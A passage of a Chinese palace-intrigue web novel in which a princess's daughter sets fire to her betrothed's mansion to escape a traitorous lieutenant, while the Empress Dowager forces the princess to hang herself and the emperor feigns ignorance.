那用到这会,就是为了求得原谅吗? 元韫浓得知裴令仪也是重回一世之后,裴令仪送过不少礼物赔礼道歉,但那些都没有这一次的特别。 送上来的新首饰里,这回端来,是一根簪子。 元韫浓的指腹摩挲过红宝石的点缀,是红蜡。 她将簪子挪到烛火边。 红蜡融化,烛火照亮,白纸透字。 正如每一回他耍这小手段跟她认错一样,字条上写—— 阿姊,我错了。 元韫浓反手盖上那张字条,闭上了眼睛。 她张了张嘴,哑声发出了一道叹息。 最终又归于寂静。 * 裴令仪离京才短短数日,元韫浓就在晚间收到了宫内的密信。 小满掐着截下来的信鸽的翅膀,把信给元韫浓。 元韫浓打开一看,上面写—— 切勿入宫。 虽然没有落款,但是元韫浓能从刻意改过笔法的字迹中,还是能依稀辨别出这是慕湖舟的字。 切勿入宫?宫里出什么事了吗? 元韫浓拧眉,心中总惴惴不安。 她捏着密信来回踱步了一圈,转身对小满道:“去让暗卫去探查。” “是。”小满领命离去。 暗卫速度很快,小满回来面色沉凝,“郡主,宫门提前上钥了。暗卫探了消息回来,说是张贵妃突然在宴席上暴毙,皇上吃了方士炼的什么丹闭门睡过去了,叫不醒。” “张贵妃暴毙?”元韫浓眉头皱得更深了,“张家那里是什么动静?慕载物知道了没有?” 小满摇头,“五皇子那里没有动静,看样子还不知道。但是张家那里闹翻天了,张开华连夜进宫面圣,但是内侍说皇上是吃了丹药醒不了。” “他是真吃了丹药醒不了,还是装聋作哑当不知道?”元韫浓冷笑,“张贵妃会暴毙?这里面没有太后或者皇后的手笔吗?” 虽然惠帝近来磕了什么丹药,一睡就是十几个时辰叫不醒是常事了,但在这个节骨眼上,元韫浓觉得他是装瞌睡也指不定。 毕竟他懦弱回避也是常有的事情。 慕湖舟当了太子,太后和皇后还真是演都不高兴演了。 霜降面色忧虑,“今夜皇后设了宴宴请不少命妇官眷,张贵妃在宴上暴毙,人多手杂,皇后必然有的是由头了。” 小满说:“要紧的是,皇后如今借着查明真凶的名头,抓了一堆人,都是族中站五皇子的妃嫔和官眷。世子和三娘跟国公去了北州,禁军如今在白家手上,自然听皇后的话抓人。” “那阿娘呢?可有牵连进这些事情里面?”元韫浓问。 “长公主没有去赴宴,她病了一段时日了,一直在宫里闭门不出的。”霜降说道。 小满却眉心紧锁,“可是暗卫说,皇后也是疑心长公主的。” “欲加之罪,何患无辞。”元韫浓道,“她哪里是疑心阿娘?分明是要借此机会陷害阿娘。” 偏偏惠帝那孬种又闭门装死了。 元韫浓问:“她现在也只是疑心吧?没做什么吧?” “暂时没什么动静,只是太后往长公主宫中去了。”小满说。 “套马,现在就调集元氏部曲去宫中。”元韫浓当机立断,从妆匣之中取出半枚虎符。 小满立即照做。 但当元韫浓握着虎符踏出院子,未出仪门,就见仪门之外,一群人举着火把,声势浩大。 裴氏族亲、裴令仪留下的那些部曲以及裴七就站在仪门外,刀剑与火把早已恭候。 元韫浓神色冰冷,“是什么事情值得如此兴师动众?你们这是御外敌,还是防内贼呢?” 这群人,着实可恶。 趁着如今之乱,裴令仪不在,认为她压不住他们就开始来碍事。 “郡主,现下天色已晚,外头如此之乱,恐生内贼与外敌里应外合,来毁我裴氏,这才不得不出此下策,在王爷回来之前,任何人不得出入。”裴氏族老假模假样地说道。 这个借口真是烂透了。 元韫浓冷嗤一声:“我怎么不知道,清河王府如今轮得到你来做主了?” “老夫是裴氏的族老,如今王爷不在,自该站出来主持大局。”族老怒道,“就算是王爷在老夫面前也是小辈,理应尊长,郡主怎能如此狂悖?” “你看看裴令仪若是在这里,他尊不尊重你。我记得前不久你的孙儿才挨了罚,你还在旁边念家训呢,那时候他是恭敬地罚你的吗?”元韫浓丝毫没留情面。 她言辞刻薄道:“论起品阶,你连我一面都不配见着,又算是什么东西?如今你能站在这里面对面跟我说话,就感谢自己占了这么个裴姓吧。” 元韫浓丝毫没有兴致跟裴氏这帮子乌合之众说话,而是转向了真真正正有威胁的裴七和裴氏部曲。 “你们又是什么意思?真分不清谁当家?”元韫浓冷声呵斥。 部曲们神色犹疑,都下意识看向了裴七。 按理来说,他们应该听从元韫浓的指挥,怎么样也不应该制止元韫浓的。 但是裴七下令让他们来拦人出府。 裴七是裴令仪的副将,又是从小跟在身边的,地位特殊。 而且裴七确实也是领兵打仗的人物,而元韫浓只是养在深闺之中的郡主。 而且前些日子,裴令仪也不让元韫浓出府,担心她的安危,这会…… 裴七脸色冷肃,“郡主,请回吧,别让我们为难。” “裴七,清都留你下来是保护我,不是让你来支使我的。”元韫浓冷了脸。 裴七在阶前单膝跪下,看似恭敬,实则不敬,“末将斗胆,请郡主回府安歇。” 看裴七这样的态度,那些部曲似乎也下定了决心,横刀交错成网,拦在元韫浓面前。 “好,很好,真是好极了。”元韫浓怒极反笑,指尖掐进掌心。 “裴七。”她忽然轻笑,“我被你拦回去,也就是损失些时候,你拦我等事情结束还会有命吗?” 刀网骤乱,部曲们听了这话,顿时有些心慌。 毕竟就裴令仪的表现来看,元韫浓真的说一不二。 到时候对裴七可能念及旧情不严惩,那他们怎么办? 元韫浓趁机向前走去,小满撞开两边的部曲。 元韫浓的裙裾扫过部曲的铁靴,途经裴七时,裴七依然刀鞘横拦元韫浓。 “大胆!”小满怒道。 元韫浓半眯起眼睛看向他,“你知道宫里头发生了什么对吗?你就是刻意在阻拦我进宫。” 裴七面无表情,没有说话。 “为什么?你在制止我救我阿娘,这是为什么?”元韫浓蹙眉歪了一下头,“我们元氏并不薄你,我和我阿娘跟你也没有任何的仇怨。” “是没有,末将只是为了裴氏江山。”裴七道。 元韫浓皱眉,“你什么意思?你的意思是我妨碍了你们裴氏了?” 裴七说:“末将效忠的从来都是裴雍江山,而不是殿下的儿女私情。” “儿女私情?什么意思?你就是说我的存在碍着他了?”元韫浓嗤笑,“私情?要是没有我,他根本活不到现在,你们这群人也站不到这里来拦我。” 裴七握着刀鞘,神色凌冽,“无论如何,这裴雍江山的前景就摆在前头了,在这至关重要的时候,绝对不能出任何的岔子。” 元韫浓看着他们,只觉得荒诞不经,没忍住笑出了声:“你们都那么想?” “就算是如此,就算殿下回来会重罚,哪怕会杀了末将,末将也在所不惜。”裴七盯着元韫浓看,“这忠义,郡主可能懂?” “你今天就非拦我不可是吗?”元韫浓气笑了,点了点头,“你宁可站在那群人那里,跟他们一起联合起来算计我,背叛我和你主子。” 裴七不语,只是坚定不移地站在那里,为了什么信念。 “至少他们都姓裴,至少他们身上没有流淌着慕南的血。”他的刀鞘重重砸在青石地上。 “郡主可知殿下为你荒废了多少大业?他本该光复裴雍,他本该成为帝王的,但却几次三番因你耽误,为你几度痴狂。”他的手背青筋暴起。 “这是你们自己的期待,他走到这一日有多少姓裴的帮了他?”元韫浓盯着他,“况且,这和我的母亲有什么关系?你不该拦我进宫。” 裴七道:“郡主尚且姓元,但惠贞长公主是慕南的长公主,她姓慕。末将断无可能叫郡主在这个关键时候为了慕姓之人,毁了裴雍大业。” 裴令仪如今正在外同齐家与白家之人纠缠,这时候城内的事情不能让裴令仪分心。 此时裴令仪就该一举挫败齐白两家的势力,而不是为了元韫浓而回京。 “你就为了这个,甚至不惜与皇后联合来困住我?”元韫浓语气幽冷。 裴七一愣,随即恢复了面无表情,“郡主果然敏锐,既然已经猜到,那也不必瞒了。” “末将确实和皇后达成了一些交易,我替她拦着郡主,不叫郡主去给她添堵碍事。而皇后今日设这一局可以使慕南内部生乱,守备空虚,届时殿下可以一举攻下。”他对此供认不讳。 元韫浓冷笑着点了点头,已经对裴七不抱希望。 前世裴七没有背叛,是因为她跟裴令仪爱恨纠错在裴雍大业已成之下,而如今他们的命线从一早就就缠在了一起。 她看向裴氏部曲,“你们都听到了这样的话,即便如此,也要拦我吗?” 部曲们面面相觑。 “你们别忘了,你们是裴氏的部曲,不是元氏的。”裴七环顾四周,厉声警告,“本将如今所作所为,皆是为了裴雍的来日铺路!孰轻孰重,你们自己分辨清楚!” 部曲们咬了咬牙,只能拿起刀。 裴七冷漠地看着元韫浓,“郡主请回吧,要怪就怪你不该把殿下当一把刀。” “多可笑。”元韫浓攥紧了掌心里的半块虎符,“你们裴家也把他当成刀,不高兴他给别人冲锋陷阵,竟要拿我来当借口。” 她也不跟这些人过多纠缠了,冷冷地扫视他们一圈,转身就走,“我们走。” 她的人立刻跟上了她的脚步。 “郡主,现在怎么办?”小满问,看了一眼。 元韫浓压低了声音道:“去四处点火。” “纵火吗?”霜降有些不可思议,“要把清河王府烧了吗?” “既然清河王府挡我去路,烧了有何不可?”元韫浓冷淡道。 霜降应声。 第89章 乌骓夜逃 “叫信得过的人分散了去点火,闹得越大越好。备好的车马就停在外边吸引他们注意,我一会直接去马厩牵马出去。点完火趁乱从西北门出去,先去元氏调集部曲,然后直接进宫。”元韫浓吩咐。 几人照做,立刻离去。 元韫浓去的是裴令仪的书房,她扫视了一圈,大致确认了这里不会有什么要紧的东西。 她先是尝试着掷杯为号,却没有得到任何反应。 孙鹃纨跟她所说的暗卫并没有出现。 元韫浓脸色阴沉。 估计是裴七把人都调走了,因为也不会有人想到从小陪在裴令仪身边的裴七会背叛。 元韫浓不再犹疑,她握起烛台一丢,烛火坠入鲛绡帐。 火舌窜起的刹那,元韫浓瞥见了熟悉的匣子。 她走过去打开匣子,匣里整整齐齐码着十几封的罪己诏,血墨崭新,犹如未干。 上面密密麻麻写满了裴令仪自供的罪行,谋逆、私结党羽…… 条条桩桩,触目惊心。 最后几句——臣裴令仪,妄图弑君谋逆,罪该万死。 然郡主无辜,深居内闱,不问世事。虽与臣定亲,却未通心意,未成礼数,且对此一无所知。 望陛下网开一面,念在骨血之近与惠贞长公主,饶过郡主。 臣叩谢圣恩。 裴令仪早就做好了准备,写了罪己诏。 以防万一出了事,也要撇清元韫浓的关系,自己一力承担,不牵扯到元韫浓。 元韫浓当时看到了罪己诏,因为表现出不悦,裴令仪把它烧掉了。 原来还写了那么多,全部留着以防不测。 元韫浓轻笑,扬手将匣子掷入蹿腾的火焰之中。 “痴儿。”她轻声道。 忽起骚动,她望向另外几个方向冲天的火光,素衣染烬,头也不回地转身离开。 火势顷刻吞没书卷与栋梁。 整个清河王府乱作一团。 “走水了!走水了!快救火啊!” “还愣着做什么?还不快去打水!等王爷回来看到王府都被烧成灰吗?傻站着做什么!” “不许乱,都不许乱!” “怎么会走水?走水的地方太多了!” “那个位置是不是书房?” 脸色铁青的裴七一转头,火光冲天,浓烟滚滚,正是书房之处。 “书房走水了!”有人高喊,“快去!书房可是最要紧的!” “还不快去!”部曲的阵列被冲散,裴七暴怒的喝令混在其中里。 元韫浓在暗中逆着人流闪进养着珍稀马匹的特殊马厩,正要挑一只温顺些的马匹。 旁边忽然传来马匹的急鸣,元韫浓一转眼却看见一旁单独的厩舍里兴奋起来的高大黑马。 正值青壮年的黑马挺拔又修长,肌肉结实,马蹄如铁。 能看得出裴令仪把它养得很好。 元韫浓动作一顿。 舞阳儿? 裴令仪每回出征都带舞阳儿,这回也应该带了,为什么临行前又把舞阳儿留下了? 元韫浓走过去,抬起手拍抚了两下舞阳儿。 它的鬃毛和尾巴如同黑色的瀑布,柔顺而浓密,随着微风轻轻摆动。 舞阳儿温顺地蹭了蹭元韫浓的掌心。 元韫浓曾经嫌弃过它的野性难驯,而它在前世带着裴令仪夜奔离京,也在今生载着元韫浓逃亡北凉。 它曾经驮着负伤的她驰骋,如同黑色的幽灵在风雪中穿梭,带她回到了北州,回到了裴令仪身边。 元韫浓的指尖抚过舞阳儿,拍了拍它的背,“好姑娘,我们走吧。” 她翻身上马,马蹄踏碎残叶,疾冲了出去。 舞阳儿奔跑起来,四蹄生风,犹如一道黑色的闪电。 它的身姿轻盈而矫健,步伐协调而有力,穿梭过人群,跨越过火海,引来所有人的惊呼。 “马!马跑出来了!” “战马被惊动了?还不快去马厩看看!” “那匹马不是王爷的舞阳儿吗?怎么逃出来了?” “快拦住那匹马!等殿下回来要是看到王府被烧了,他爱马还跑丢了非得扒了我们一层皮不可!” “舞阳儿不是性子野得很吗?骑它的那个是谁?” “是郡主!拦住她!拦住她!” 元韫浓冲出浓烟弥漫的廊道,骑着舞阳儿奔至西北门前,府门正在缓缓闭合。 “关门!”裴七的怒吼声被淹没在混乱的脚步里。 沉重的朱漆大门发出令人牙酸的吱呀声,还剩道足以容纳四五人通过的缝隙。 但元韫浓半点没有减速,而是用力一甩缰绳,喊道:“舞阳儿!快!” “拦住她!”裴七怒吼道,“放箭!” 部曲们皆震惊地看向裴七,觉得不可置信。 “没听见吗?放箭!”裴七吼道,“要是她活着出去了,就是两头空,一件事都没办成!” 有零星几人咬咬牙,狠狠心,弯弓搭箭。 箭矢破空而来,元韫浓俯身贴紧马背,裙裾擦过门框。 舞阳儿长嘶一声,在千钧一发之际,冲出了府门,马蹄铁在石板上刮出刺耳锐响。 众人惊愕地看着通体漆黑如墨的乌骓马载着元韫浓跃过人群,毛发隐隐泛着绸缎般的光泽,仿佛黑色的火焰在流动。 府门合上之前,元韫浓转头看了一眼。 “他都拦不住我。”元韫浓嗓音平静,眼底却凝着霜,“就凭你?” 夜幕如墨,被火光浸染成黑红。 摇曳生姿的火光摇摆着,在风雪交加之中忽明忽暗。晚风拂过她如云的发丝,扬起又落下。 府门在她身后轰然闭合,震落檐上积雪。 她和裴令仪的命运好像就那样重合了,骑着踏雪乌骓夜逃。 元韫浓攥紧缰绳,跑出去一段路程,突然勒马回望。 隔着重重人影与高耸的府墙,还能看到不远处的一片混乱。 清河王府的火势还没有控制,火光映红了半片天空,周边的百姓惊慌四散,或是在旁看着惊奇议论。 元韫浓继续扬鞭策马,踏雪乌骓跃过满地狼藉,踏碎那个囚笼,奔向岐国公府的前路。 清河王府不是家。 既不是她的家,也不是裴令仪的家。 她的家在前方,再往前,再往前,去到岐国公府。 夜风卷着火星掠过她的鬓发,像极了那人总想触碰又收回的手。 * 惠贞长公主看着太后带着一帮子宦官气势汹汹地闯入自己宫殿时,就有了不详的预感。 她立刻转头低声吩咐自己的心腹去找惠帝来。 心腹侍女点头,悄然无声地离开。 “太后娘娘深夜造访,所为何事?在礼数上,理应是我这个做小辈的去慈宁宫见太后才是。”惠贞长公主皮笑肉不笑。 太后阴沉沉地看向惠贞长公主,“你又何必在哀家面前装模作样?” 惠贞长公主暗自攥紧掌心,压下心头恨意,“我听不懂太后娘娘在说什么。” “听不懂?既然已经查明了当年杀母夺子,与你有杀母之仇的人是哀家,你还在装什么?”太后也没有多言,直接说白了。 惠贞长公主抬眸看向太后,眼底迸发惊人的恨意,“果然是你!” “是哀家又如何?”太后冷笑,“今日设这么大一个局,就是为了趁着这个大好时机一举铲除政敌宿仇。” “看来太后今日来,是来取我性命来了。”惠贞长公主点了点头,似乎是早已经预料到了这一天。 在得知经年之前真相的那一刻起,她就做好了和太后不死不休的准备, 总有一个人要死的。 此时一个金吾卫提着一人过来了,惠贞长公主定睛一看,竟是刚才自己派去喊惠帝的心腹侍女。 “你!”惠贞长公主怒瞪向太后,“看来你今日是打定了主意要我葬身于此了。” 太后看着惠贞长公主那张脸,语气幽冷:“你跟你的生母,一样碍眼。” “碍眼?”惠贞长公主怒不可遏,“为了夺走她的孩子取她性命,竟还觉得她碍眼?你们齐家人果然如出一辙,如今的皇后也是一样的手段,用得着二皇子母子的时候称姐道妹,没用了就想到杀人灭口。” “你既然已经知道杀母夺子之事,哀家便也留不得你了。”太后冷笑。 她转头示意,几个宦官端上盘子,一杯鸩酒,一条白绫。 “鸩杀或是自缢,你自个儿选一个吧,也走得体面些,算是哀家给了皇帝一个面子,哀家也不想脏了手。”太后冷峻道。 惠贞长公主觉得讽刺至极,“太后娘娘这时候还想着要保全自己在佛前的功德呢?又凭什么觉得我会乖乖赴死呢?” “你自己想清楚,你若是不乖觉点自己赴死,可是得吃不少苦头的。”太后说。 惠贞长公主气得发抖,“你要做什么?” 太后道:“你如今可不是只身一人了,你放得下元氏,放得下岐国公府,放得下那三个并非亲生却也看着长大的儿女,放得下岐国公吗?” “最重要的是,你放得下你的应怜吗?”太后以一种睥睨的姿态,居高临下地望向惠贞长公主。 惠贞长公主脸色“唰”地变白了,“你是什么意思?” 太后扯动嘴角,露出一丝森冷的笑,“裴令仪如今正在外头,跟他交战的是齐家和白家。他就带去了八百人,八百人?哈,真是年少轻狂。区区八百人他也敢去跟两个百年世家抗衡?” “齐白二家早已做下了准备,他没法活着回来了。就算是活着回来,他也不会再有余力去做别的事情,也不会再有余力来帮元氏了。”她道。 太后嘲讽:“朝荣并未和他成婚,这天底下的男子皆为一个样子,能有几个好东西?周妻何肉,各有各的贱。你以为元氏待他有多好多好吗?他不可能为了一个朝荣而放弃他一路那么艰难爬过来的位置。” “你是拿五郎来威胁我?”惠贞长公主眉头紧锁。 “何止啊?”太后笑意愈加冷了,“你的夫婿和三个继子继女也逃不了的。元云和暂且不论,但她在白云观跑得了和尚跑不了庙。但是岐国公和元彻回、元蕴英这三个,是绝对逃不了的。” 惠贞长公主脸色更白了,“你……你怎么敢?他们是在为了南朝而战,他们是在为了你们这些高坐庙堂之上的人而战!若是他们败了,北凉打过来遭殃的是南朝臣民,是南朝!” “他们若是败了,还有白家!”太后厉声喝道。 “白家?”惠贞长公主不可思议到笑出了声,“他们甚至不敢主动请缨,主动去上阵!你居然还指望他们?” “就算白家不中用了,那也还有徐家,有孙家。张贵妃如今已经死了,等张家倒了,徐家那样的软骨头,除了依附于我齐家还有什么选择?”太后冷声道,“这南朝,并不是非元氏不可。” 惠贞长公主只觉得她为了家族什么都不顾了,居然连南朝都不放在心上了。 她摇头,“我看你是疯了,你真是疯了!” “你若是不愿意乖乖伏诛,粮草可是还没全部送到北州呢,哀家大可以再关上粮道,截下粮草。”太后一副稳操胜券的模样,“天寒地冻,北州的那些将士可等不起了。” “这对你到底有什么好处?”惠贞长公主觉得瘆人,“为了家族你居然拿那些人威胁我?” 太后却并没有回答她,而是道:“你的女儿,你给她取字为应怜,说是苍天应怜惜她,万物万事皆该怜爱她。那你身为人母,也应怜她啊。” 惠贞长公主僵硬住了。 “她现在闯出清河王府要进宫来了,带着元氏那些部曲,真打算要谋逆吗?不过哀家早已经叫金吾卫守好了,你真能保证元氏的部曲能在这样的混乱里保全她吗?”太后轻哼一声。 她将茶盏重重一撂,“裴七也是个废物,连个郡主都拦不住。” 她就说元韫浓是个祸害,非要和她作对。 不过这样一看,元氏起码有半块虎符是在元韫浓身上啊。 那就好办了,等杀了惠贞,趁着岐国公府和清河王府无人,先把那半块虎符夺过来再说。 “不过,你舍得朝荣这么年轻,就因你而死吗?”太后幽幽地问。 她很清楚地知道,或者说京华没有人不知道,元韫浓是惠贞长公主最大的软肋。 第90章 逼杀 “你不怕陛下知道此事吗?”惠贞长公主闭了闭眼。 她脸色惨白,嘴唇都没有血色。 即使是到了这一步,都还是斜靠在榻上,似乎已经没有余力再起来挣扎了。 “你以为他不知道吗?”太后笑出了声,“你该不会真以为他是磕了丹药睡不起了吧?他今日里吃的只是壮阳丹。” 惠贞长公主闻言,仿佛全身血液悉数逆流。 惠帝知道? 惠帝只是装没醒过来吗? 这么说他对今夜的一切都知道,他只是不敢阻拦,所以默许了这一切。 他知道齐家对朝堂的把控,他知道太后和皇后对非三皇子党的围剿,他知道张贵妃的死亡,他知道张家的愤怒,他也知道他的姐姐会被太后逼杀。 他什么都知道,他只是不敢站出来。 “你说……你说他知道?”半晌,惠贞长公主才找回了自己的声音。 “他何止是知道?惠贞啊惠贞,你该不会以为他不知道自己母妃的死因吧?”太后笑容嘲讽。 惠贞长公主难以置信地看向太后,浑身都开始颤抖起来。 太后继续说道:“他这个皇帝虽然做得一塌糊涂,但也不是白坐在龙椅上这么多年的。他一早就知道,甚至比你知道的要早很多。” 所以……所以惠帝知道了一切真相,也知道自己的母妃是被杀,但却什么都没说。 既没有告诉她这个同胞姐姐,也没有想着要为母妃复仇。 惠帝只是假装一切无事发生,继续做逍遥自在的皇帝。 “母妃哪有皇位重要啊?哀家早说了,男人都是一样的。哀家扶持他上皇位,正是看中了他这一点啊。”太后以胜者的身份,俯视着惠贞长公主。 惠帝虽然说是装傻,但她也不能留着惠贞长公主了。 要不然惠贞长公主知道了这件事情,捅到惠帝面前,意义就不一样了。 惠帝可以装作不知道,但是他一旦明面上知道了,无论是出于孝道还是世道,就算是为了堵上悠悠之口,也就必须去查。 他们齐家正是准备一飞冲天的时候,绝不能这会出岔子。 今晚抓了那么多,又杀了那么多人,张贵妃也死了,张家后头成不了气候了。 只要解决掉惠贞长公主,再抓了元韫浓。 裴令仪逃不出布下的天罗地网的,必然会折戟沉沙。 就算裴令仪回来了,也必然元气大伤。 拿元韫浓来要挟裴令仪和元氏,等到元氏回京路上一举重创。 这天下已然是他们齐家的囊中之物。 “咳咳!咳咳咳咳!”惠贞长公主捂着嘴咳嗽来了,她本就在病中还没好。 太后扬眉,“哀家听太医院说,你一直瞒着,是血崩之症吧?” 惠贞长公主咳得更厉害了。 她禀赋气血不足,兼年幼不知保养。年幼丧母,从深宫之中带着幼弟熬到苦尽甘来,却又作为棋子联姻。 多年以来,心力更亏。再加上先前的落子汤小产,实在亏虚了身体。经年之后,如今复添了下红之症。 血崩之症长期缠绵不愈,不断消耗着她的身体。 “女子血崩,多是不治之症。既然本就时日无多,你又何必赖着不肯上路呢?”太后冷笑。 这话是实话,所以惠贞长公主近来才很少见元韫浓。 她自知时日无多,此事却除了自己身边心腹和太医以外无人知晓。 可放不下的事情太多,尤其是放心不下元韫浓。 惠贞长公主阖上双眸,深吸了一口气,再睁开眼时,已然恢复平静。 “我要和你做个交易。”她道。 太后冷嗤一声:“你觉得你现在还能给哀家来谈条件吗?” 惠贞长公主说:“用我的命换这应怜活命,换元氏和清河王平安,换北州将士们的粮草。这对你这样的人来说,应该很值得才对。” “哀家也可以直接杀了你。”太后半眯起眼睛。 “若是直接杀了我那么容易,太后早就动手了。此时杀我风险太大,却又不得不杀。又怕徒增业果,叫我自己动手,也好有个顺理成章的名头。”惠贞长公主道。 太后需要一个她畏罪自裁的名头。 长公主毕竟是慕姓皇族,还是皇帝亲姐,有重要地位。如果直接杀她,可能会引起分裂和动荡,导致一些保皇派产生不满。 太后也不想直接背负杀害皇族的恶名。 惠贞长公主凝视着太后,若不是岐国公此刻调头清君侧,北凉铁骑顷刻便会踏破边关,她又何须如此? 而她的应怜…… 惠贞长公主望向岐国公府的方向,她现在还记得那孩子在襁褓之中的模样,也记得那孩子粉雕玉琢软软一团的孩童模样,在她怀里烧得说胡话,攥着她衣袖唤阿娘。 她死在太后手里,或许对应怜来说,好过血崩病逝吧。 至少应怜能找到人去恨。 她只是可惜,她还是没有见到应怜最后一面,也没有见到他的最后一面。 惠贞长公主真的觉得可惜,前不久她还打开过岐国公寄回来的书信。 比起前几回岐国公外出征伐寄回来问安的书信,这回的信更像是家书。 信里有苦恼紧缺的粮草,有御敌在外的豪气干云,有思念远在京华的妻女,有话家常,也有说在北州发现了好吃的点心,学会了打算回来做给妻女尝尝。 纸短情长。 可惜她的回信并不长,只说等岐国公回来。 惠贞长公主低眸苦笑一声,抬头平静地看向太后,“太后考虑得如何呢?” “成交。”太后阴沉道,“你自己选一样吧。” 惠贞长公主的目光扫过鸩毒和白绫,最终握住了那条白绫。 她又看着太后说:“我在地底下,等着太后娘娘。” 太后面色阴沉。 “太后娘娘总不会以为自己这样的人,还能前往极乐世界吧?”惠贞长公主讽刺道。 太后厌恶惠贞长公主的眼神,跟她的母妃一模一样,那是将死之人看穿一切的悲悯。 明明是败者,却偏偏一副高高在上的模样,仿佛输掉的人并不是自己一样。 “哀家死后如何,就不劳你费心了。时候已到,你就上路吧。”太后道。 惠贞长公主只是笑了笑,“对我这个将死之人,何苦如此着急呢?” 太后招了招手,示意宦官,“来啊,去帮帮长公主,她病久了,没有力气。” 宦官立刻上前,将白绫悬挂上房梁。 “还真是多谢太后如此贴心了。”惠贞长公主讽刺地弯了弯唇,支撑着自己慢慢站了起来。 她最后盯着太后道:“记得你答应我的事情,别叫我化作厉鬼也缠着你。” “放心。”太后阴沉道。 白绫收束的瞬间,惠贞长公主听见骨骼碎裂的轻响。 她一直以为人死时是很喧嚣的,原来是这般寂静,静得能听见侍女压抑的呜咽,听见远处匆匆的步履。 还能听见……听见幼年时母妃哼着江南小调为她梳头时的笑语声。 唯独放不下,她的应怜。 惊雷劈过,却未下雪雨。 惠帝身边的内侍急匆匆地迈步冲进了圣宸宫,“陛下!” 撑着脑袋打着瞌睡的惠帝一下子惊醒,坐了起来,“怎么了?” 内侍跪伏在地,声音尖细得刺耳:“陛下——陛下啊,长公主她、她畏罪自裁了!” “什么?”惠帝猛地站了起来,激动道,“什么时候的事情!” “就、就在方才,慈宁宫的人来报,说是……畏罪自裁,悬梁自缢的。”内侍额角渗出汗珠。 “皇姐……皇姐啊——你我一母同胞,怎么就、怎么就——”惠帝伏在扶手上,冠冕上的玉藻簌簌作响。 “陛下、陛下节哀啊——人死不能复生……”内侍惶然抬头。 惠帝在榻上掩面哭泣,似乎痛彻心扉。 他起身摔了茶盏,“滚!滚啊!” 惠帝抓起砚台狠狠砸向墙壁,墨汁泼洒。 满殿的侍者连忙起身,要退出去。 惠帝却又好像恢复了冷静一样,说:“等等。” “陛下……”内侍停下脚步。 “若是礼部问起长公主谥号……”惠帝道,“皇姐就算是做了错事,也是自幼同我一起长大,下葬规格依旧按长公主来,谥号惠。” 内侍迟疑道:“太后娘娘的意思是用愍……” 愍有同情、哀怜之意,放在这却是十分讽刺了。 “那就……”惠帝似有犹豫,但他在迟疑之后,又下定了决心。 “用惠!就用惠!”他抬头,眼中血丝密布,“朕是天子!听朕的!你去告诉太后,就用惠!” “是……”宦官退了下去。 等到所有人退出去之后,涕泪纵横的惠帝再次伏在扶手上哭嚎起来。 “皇姐啊,皇姐!你怎能如此早地弃我而去啊?”他一面哭,一面摸出了丹药瓶,往自己手里倒了两粒药吞了下去。 然后继续趴着哭起来。 他早就知道此事,只是他不敢知道,于是自欺欺人地假装不知道,这样就可以继续当他无知又快活的帝王。 这样一切罪责都是太后的,与他无关。 他不必背负放任杀母仇人活在世间的罪名。 就像现在这样,他假装不知道太后逼杀长公主,真心实意地为长公主痛哭。 听着里头似乎哀痛至极的哭声,宦官直起腰来,犹豫不已。 心下犹豫半晌,宦官觉得此事还得告知太后。 于是他战战兢兢地去将此事禀报了太后。 意料之外的是,太后听闻此事并不意外,也并不恼火,“嗯,哀家知道了,就按惠帝说的吧。” 注意到宦官诧异的表情,太后扬眉,“很意外哀家为什么不恼火?” 宦官连忙低下了头。 “因为毋庸置疑,这跟小孩子闹闹脾气能有什么区别?”太后嘲笑道,“一个字都能叫他高兴成这样,如了他的意又如何呢?” 反正惠贞已经死了。 惠帝这般,难道还能起死回生不成吗? 惠帝也就这样了,一场轻描淡写的谥号之争,仿佛赢回了面子,却输尽了里子。 凤仪宫中,慕湖舟被金吾卫拦在宫内,不得出去。 “大胆!”慕湖舟怒道。 金吾卫满脸为难,“太子殿下,是皇后娘娘不让您离开凤仪宫的。” 慕湖舟心下焦急。 宫中因为张贵妃暴毙一事闹得风雨欲来,皇后四处抓非他阵营之人和官眷就足以令人不安了。 即使是慕湖舟并不知情,也明白了这是一场铲除异己的把戏。 为了知道他们的真实目的和计划,他来凤仪宫,却得知太后想要对惠贞长公主不利,但被皇后阻拦不得出宫。 “你们想清楚了,以后在龙椅上的人到底是谁!”慕湖舟头一回那么直白地说这样的话。 这也果然威慑到了金吾卫们,他们开始犹豫了。 “拦住太子!”皇后重重拍在案上,茶盏震落碎在太子脚边。 “母后!”慕湖舟又急又怒,“姑母待儿臣从来亲厚!” “那又如何?她如今是你皇位路上的绊脚石!她和国公府,包括你的好应怜!都是你称帝路上的敌人!”皇后尖锐道。 “他们不是!就算没有婚约,他们也是儿臣的亲人!”慕湖舟急道,“姑母若死,浓浓她——” “就是要她疯!”皇后道,“你以为裴清都为何突然离京?就是去跟我们齐家和白家打的!岐国公他们如今也不在京中,大好机会如何不用?!” “母后!”慕湖舟不可置信道,“姑父他们在北州是为了南朝御敌!” 皇后冷笑,“那又如何?南朝的武将可不止他们岐国公府一家!” “只要惠贞死了,就等着朝荣自投罗网!她带着元氏的部曲就要闯宫门了,惠贞一死,她必然方寸大乱,这时候就以谋逆之名抓她起来威胁元氏和裴清都!”皇后道,“就算后面将元氏满门抄斩,也师出有名了!” 殿外忽传来攻门的轰鸣。 慕湖舟猛然转头,朱漆窗棂外,远处火光冲天,映得皇后鬓边红宝石嵌金钗子如血染就。 “母后!”他后退了一步,咬了咬牙,坚决道,“今日就算是忤逆母命,不忠不孝,儿臣也要出去。” 皇后怒极,“本宫看你是还没放下元应怜那死丫头!她到底给你灌了什么迷魂汤?值得你如此对她念念不忘,寻死觅活!” 慕湖舟不语,神色坚定,并未退步。 “你今日但凡是敢踏出凤仪宫半步,就当本宫没有你这个儿子!”皇后威胁道。 慕湖舟愣了一下,却依然不曾动摇,迎着金吾卫的刀剑朝外走去。 皇后怒火攻心,“还愣着做什么?拦住他!” 第91章 节哀顺变 武备齐全的部曲在宫门前如同示威,但朱漆宫门闭合紧密,鎏金门钉排列整齐。 火仗光芒映着元韫浓寒霜般的面容,守卫横刀而立。 “太后懿旨。”为首的金吾卫道,“无诏擅入者,斩!” 元韫浓冷声道:“开门。” “恕难从命。”金吾卫回道,“太后下旨,张贵妃暴毙,在查明真凶之前,任何人不得进出,尤其是郡主您。” 元韫浓冷笑:“太后下旨?这宫里做主的是太后还是皇上?我要面圣,你竟敢拦我?先前可是我们元氏掌的金吾卫!” 金吾卫道:“先前是先前,如今是如今。如今国公和世子俱在外征战,管事的是齐家和白家。” “好,真是好得很。”元韫浓被气笑了,“我今日非要进宫不可。” 金吾卫冷冰冰道:“郡主,还请莫要让我等为难。” 元韫浓扬手,“攻门。” 